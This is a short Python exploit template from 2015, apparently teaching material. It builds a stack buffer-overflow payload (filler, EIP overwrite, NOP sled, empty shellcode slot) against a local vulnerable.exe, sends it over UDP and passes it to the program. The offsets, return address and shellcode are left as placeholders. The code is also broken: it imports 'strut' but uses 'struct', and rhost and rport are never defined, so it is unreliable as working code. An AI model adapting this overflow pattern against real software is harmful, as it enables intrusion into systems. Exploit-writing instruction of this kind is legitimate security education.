wrapper_exploit.py

#!/usr/bin/env python
'''
Author: Chris Duffy
Date: May 2015
Name: wrapper_exploit.py
Purpose: An sample exploit for wrapping around a binary execution

Copyright (c) 2015, Christopher Duffy All rights reserved.

Redistribution and use in source and binary forms, with or without modification, 
are permitted provided that the following conditions are met: * Redistributions 
of source code must retain the above copyright notice, this list of conditions and 
the following disclaimer. * Redistributions in binary form must reproduce the above 
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'''
import sys, socket, strut, subprocess
program_name = 'C:\exploit_writing\vulnerable.exe'
fill ="A"*####
eip = struct.pack('<I',0x########)
offset = "\x90"*##
available_shellcode_space = ###
shell =() #Code to insert
# NOPs to fill the remaining space
exploit = fill + eip + offset + shell
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
client.sendto(exploit, (rhost, rport))
subprocess.call([program_name, exploit])